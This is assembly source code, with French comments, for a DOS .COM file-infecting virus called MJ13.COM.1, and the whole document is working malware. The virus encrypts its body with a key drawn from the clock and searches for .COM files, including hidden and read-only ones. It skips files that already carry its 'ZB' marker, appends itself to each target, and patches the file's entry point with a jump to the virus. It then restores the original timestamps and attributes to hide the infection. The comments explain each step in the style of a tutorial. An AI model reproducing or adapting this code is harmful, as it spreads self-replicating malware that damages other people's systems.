; nom: MJ13.COM.1 ; taille : +- 315 octets ; ************************************************************************** .model TINY .code org 100h START: JMP VIRUS ; ce jump sera remplac‚e enm‚moire par les octets de Orig_start ; saut sur virus qui lui appelle leprogramme principale VIRUS proc near CALL STARTUP STARTUP: MOV CX,0 pop bp mov ax,0 ; d‚coration sub bp, offset startup lea si,[bp+ORIG_START] ; Restore original 3 bytes mov di,100h ; to 100h, start of file push di ; Copy 3 bytes movsw movsb ;*** ; j'ai rajouter le code ici CALL SUITE Encrypt proc near ; routine d'encryption ; d‚cryption LEA SI,[BP+DEBC] MOV CX,finc-debC MOV DL,BYTE PTR[BP+CLE] ; nous mettons en SI l'adresse ou commencera l'encryptage ; puis nous fixons en CX le nombre d'octet a crypter ; on fixe ensuite dans DL la cle de cryptage , vous pouvez toujours choisir ; une cl‚ par exemple de 10 ou en prennant les milisecondes ou bien en prennant ; la tailler du programme infect‚ donc cle peux recevoir des nombres ; diff‚rents a chaque encryption Looping: XOR BYTE PTR[SI],DL INC SI Loop Looping ; fais une boucle sur looping jusqua ce que CX soit ‚gal a 0 , donc il va ; encrypter le nombre d'octet qui sera fixer plus haut RET ; retour encrypt endp ORIG_START: DB 0CDh,20h,0 ANTIREC: DB 'ZB' CLE: DB 0 writeon proc near MOV AH,2CH INT 21H MOV BYTE PTR[BP+CLE],DL CALL ENCRYPT MOV AH,40h MOV CX,JOFFSET-VIRUS LEA DX,[BP+VIRUS] INT 21H CALL ENCRYPT RET writeon endp SUITE: CALL ENCRYPT debC: ; *** LEA DX,[BP+80H] MOV AH,1AH INT 21H MOV AH,4EH ; ouvre 1er fichier com sur la liste MOV CX,00000110B ; ouvre les fichiers cach‚s et R/O LEA DX,[BP+COMFILE] ; INT 21H ; JC QUIT ; Si un problŠme surviens , fin du virus CALL INFECTE ; sinon vas infecter JZ QUIT ; puis si tous vas bien -> Sortie ; chercher prochain fichier com CLOSE: ; MOV AH,3EH ; ferme handle INT 21H PLUS: MOV AX,4F00H ; ouvre prch fichier sur la liste INT 21H ; JC QUIT ; Probleme ? quitter CALL INFECTE ; sinon infecte JNZ CLOSE ; Fichier mauvais a l'infection ? QUIT: MOV DX,80h ; ret au porg initial , MOV AH,1AH ; on refixe la dta a 80h comme a toute INT 21H ; execution de programme retn ; retour , vas s'enclancher la s‚ssion ; du prog infect‚ INFECTE proc near ; ici repr‚sente la sous-fonction ; de non r‚infection et d'infection MOV AX,3D00H ;R‚ouvre en ‚criture seule LEA DX,[BP+128+30] INT 21H MOV BX,AX MOV CX,WORD PTR[BP+128+26] ; Compare la grandeur du fichier CMP CX,5000 ; si inf‚rieur a 5000 JNA REFUSE ; retour comme fichier invalide ; a l'infection MOV AX,4200h ; repositionne au d‚but MOV CX,0 MOV DX,0 INT 21H MOV AH,3FH ; lit 2 octets MOV CX,2 LEA DX,[BP+EXETEST] ; les placent dans EXETEST INT 21H MOV CX,WORD PTR[BP+EXETEST] ; fixe les octets dans CX MOV DX,'MZ' ; CMP CX,DX JZ REFUSE MOV AX,4200h ;positionne a la fin MOV CX,WORD PTR[BP+128+28] ; MOV DX,WORD PTR[BP+128+26] SUB DX,3 ; on enlŠve 3 a DX MOV WORD PTR[BP+JOFFSET],DX ; ici sauvegarde en JOFFSET SUB DX,JOFFSET-ANTIREC-3 INT 21h ; positionner a 14 octets de la ; fin MOV AH,3FH ; lit 10 octets MOV CX,2 LEA DX,[BP+MTEST] ; les stock sur MTEST INT 21H MOV AX,WORD PTR[BP+MTEST] ; compare Mtest a la marque MOV CX,WORD PTR[BP+ANTIREC] ; du virus ici ZB CMP AX,CX ; comparaison JNZ SUIVANT ; diff‚rent > ajoute code REFUSE: MOV AL,1 ; sinon retour code 1 OR AL,AL RET ; chercher suivant SUIVANT: MOV AH,3EH ; ferme fichier INT 21H MOV AX,4300H MOV CX,0 LEA DX,[BP+128+30] INT 21H MOV WORD PTR [BP+128+43],CX MOV AX,4301H MOV CX,0 INT 21H MOV AX,3D02H ;R‚ouvre en ‚criture seule LEA DX,[BP+128+30] INT 21H MOV BX,AX MOV AX,4200h ; Positionne au d‚but MOV CX,0 MOV DX,0 INT 21h MOV AH,3FH ; lit 3 octets et les stocke MOV CX,3 ; dans origstart LEA DX,[BP+ORIG_START] ; ceux ci seront plac‚ a INT 21h ; 100h au d‚marrage du prog MOV AX,4202h ; postionne a la fin MOV CX,00 MOV DX,00 INT 21h CALL WRITEON MOV AX,4200H ;postionne au d‚but MOV CX,00 MOV DX,00 INT 21H MOV AH,40H ; ‚crit le JMP qui MOV CX,3 ; va envoyer vers le virus LEA DX,[BP+HEADER] ; dans le fichier inf‚ct‚ INT 21H MOV AX,5701H ; nous restaurons la MOV CX,WORD PTR [BP+128+22] ; derniŠre heure d'‚criture MOV DX,WORD PTR [BP+128+24] ; deniŠre date d'‚criture INT 21H mov ah,3Eh ; ferme le fichier int 21h MOV CX,WORD PTR[BP+128+43] ; r‚staure les attributs MOV AX,4301H ; sauvegarder dans la dta LEA DX,[BP+128+30] ; au programme infect‚ INT 21H mov al,0 ; retour AVEC CODE 0 or al,al ret ; -> tout va bien INFECTE endp COMFILE: DB '*.com',0 HEADER: DB 0E9H VIRUS endp JOFFSET: DW ? MTEST: DW ? EXETEST: DW ? finC: end start